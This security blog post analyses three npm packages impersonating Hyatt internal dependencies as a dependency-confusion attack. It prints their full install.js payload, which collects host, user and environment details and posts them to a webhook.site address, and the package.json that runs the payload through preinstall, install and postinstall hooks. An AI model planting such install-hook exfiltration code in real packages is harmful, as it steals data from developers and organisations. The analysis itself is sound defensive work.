---
title: "Malicious npm Packages Impersonating Hyatt Internal Dependencies"
description: "Three malicious npm packages disguised as Hyatt internal dependencies were discovered using install hooks to execute malicious payloads. All packages share identical attack patterns and infrastructure."
url: "https://safedep.io/blog/malicious-npm-packages-hyatt-campaign"
author: "SafeDep Team"
published: "2025-10-23"
---

# Malicious npm Packages Impersonating Hyatt Internal Dependencies

## TL;DR

Three malicious npm packages disguised as Hyatt internal dependencies were discovered on the npm registry, all published on October 23, 2025. The packages `hyatt-residential-roster`, `hyatt-album`, and `hyatt-avatar` share identical attack patterns and infrastructure, suggesting a coordinated campaign targeting internal applications at Hyatt.

All three packages use the suspicious version number `999.999.999`, execute identical install hooks across all three npm lifecycle events (preinstall, install, postinstall), and claim to be published by "Hyatt IT Security Research", a likely impersonation tactic to appear legitimate.

**Note**: High version numbers such as `999.999.999` are typically used for exploiting [Dependency Confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) vulnerabilities.

| Package Name             | Version     | SafeDep Analysis                                                                 |
| ------------------------ | ----------- | -------------------------------------------------------------------------------- |
| hyatt-residential-roster | 999.999.999 | [Link](https://platform.safedep.io/community/malysis/01K87RNGY80ZVWTJFE0F58DHZQ) |
| hyatt-album              | 999.999.999 | [Link](https://platform.safedep.io/community/malysis/01K87RPKWDEPS9SW8ZEZ9MH8KD) |
| hyatt-avatar             | 999.999.999 | [Link](https://platform.safedep.io/community/malysis/01K87RATFZAWFCSXF4E6YWMSMG) |

All three packages share the following suspicious indicators:

- **Abnormal version number**: `999.999.999` - typically used for testing or placeholder purposes
- **Multiple identical install hooks**: All three packages execute `node install.js` during `preinstall`, `install`, and `postinstall` lifecycle events
- **Minimal package size**: Between 851-897 bytes compressed, with only 3 files each
- **Same maintainer**: Published by `pkgpusher6` (`jaddyday2@gmail.com`)
- **Generic author attribution**: All claim to be by "Hyatt IT Security Research"
- **Same publication date**: All published on October 23, 2025

## Technical Analysis

### Install Hook Exploitation

Unlike many malicious packages that use post-install hooks exclusively, this campaign employs a triple-hook strategy:

```json
{
  "scripts": {
    "preinstall": "node install.js",
    "install": "node install.js",
    "postinstall": "node install.js"
  }
}
```

This ensures the malicious payload executes at multiple points during the installation process, increasing the likelihood of successful compromise even if developers attempt to skip certain lifecycle hooks.

### Malicious Payload Structure

Each package contains three files with the following structure:

**package.json** - Defines the triple install hook strategy:

```json
{
  "name": "hyatt-album",
  "version": "999.999.999",
  "description": "Hyatt album management system - Internal dependency",
  "main": "index.js",
  "scripts": {
    "install": "node install.js",
    "postinstall": "node install.js",
    "preinstall": "node install.js"
  },
  "keywords": ["hyatt", "album", "media", "internal"],
  "author": "Hyatt IT Security Research",
  "license": "ISC"
}
```

**index.js** - Minimal stub file (~67-80 bytes) that provides no actual functionality, serving only to make the package appear legitimate:

```javascript
module.exports = function () {
  console.log('Hyatt Album loaded');
};
```

**install.js** - The malicious payload (~823-836 bytes) that executes during installation:

```javascript
const os = require('os');
const { execSync } = require('child_process');
const https = require('https');

console.log('🏨 Hyatt Residential Roster Loading...');

const data = {
  package: 'hyatt-album',
  timestamp: new Date().toISOString(),
  hostname: os.hostname(),
  platform: os.platform(),
  uptime: Math.floor(os.uptime()),
  user: os.userInfo(),
  env: {
    hyatt_vars: Object.keys(process.env).filter((k) => k.toLowerCase().includes('hyatt')),
    node_env: process.env.NODE_ENV,
    kubernetes: process.env.KUBERNETES_SERVICE_HOST,
    aws_region: process.env.AWS_REGION,
    npm_registry: process.env.npm_config_registry,
  },
};

const req = https.request('https://webhook.site/hyatt', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
});
req.write(JSON.stringify(data, null, 2));
req.end();
```

The code performs the following malicious actions:

1. Imports Node.js modules: `os`, `child_process`, `https`
2. Collects comprehensive system information using `os` module methods
3. Specifically targets environment variables to identify the infrastructure the application is running on
4. Exfiltrates environment containing the keyword `hyatt`
5. Serializes collected data to JSON format with pretty printing
6. Sends data via HTTPS POST to `https://webhook.site/hyatt`
7. Executes silently without user notification, disguised as a loading message

### Data Exfiltration to External Server

All three packages contain code that collects system information and exfiltrates it to `https://webhook.site/hyatt` to identify the infrastructure the application is running on. The collected data includes:

- **System information**: hostname, platform, uptime, total memory
- **User information**: username and user details from `os.userInfo()`
- **Environment variables**: Specifically targeting:
  - Variables containing 'hyatt'
  - `NODE_ENV`
  - `KUBERNETES_SERVICE_HOST` (Kubernetes deployments)
  - `AWS_REGION` (AWS cloud environments)
  - `npm_config_registry` (npm configuration)
- **Package metadata**: Package name and installation timestamp
- **File system paths**: Current working directory, home directory

The exfiltration occurs via HTTPS POST request to `webhook.site`, which is a public service often used for testing webhooks, making it convenient for attackers to collect data without setting up their own infrastructure.

## Conclusion

This coordinated campaign of three malicious npm packages demonstrates a common approach to dependency confusion attacks through corporate package impersonation. Analysis of the data exfiltration patterns reveals a targeted focus on specific infrastructure indicators rather than comprehensive credential harvesting, suggesting this may represent a penetration testing exercise specific to Hyatt.

The exfiltrated data is notably limited in scope, collecting only:

- `KUBERNETES_SERVICE_HOST` - indicating Kubernetes deployment environments
- `AWS_REGION` - identifying AWS cloud infrastructure presence
- `npm_config_registry` - revealing npm registry configuration
- Environment variables containing the keyword `hyatt`

---

**Stay Protected**: Learn more about SafeDep's malicious package detection at [safedep.io](https://safedep.io) or try our free tool [vet](https://github.com/safedep/vet) today.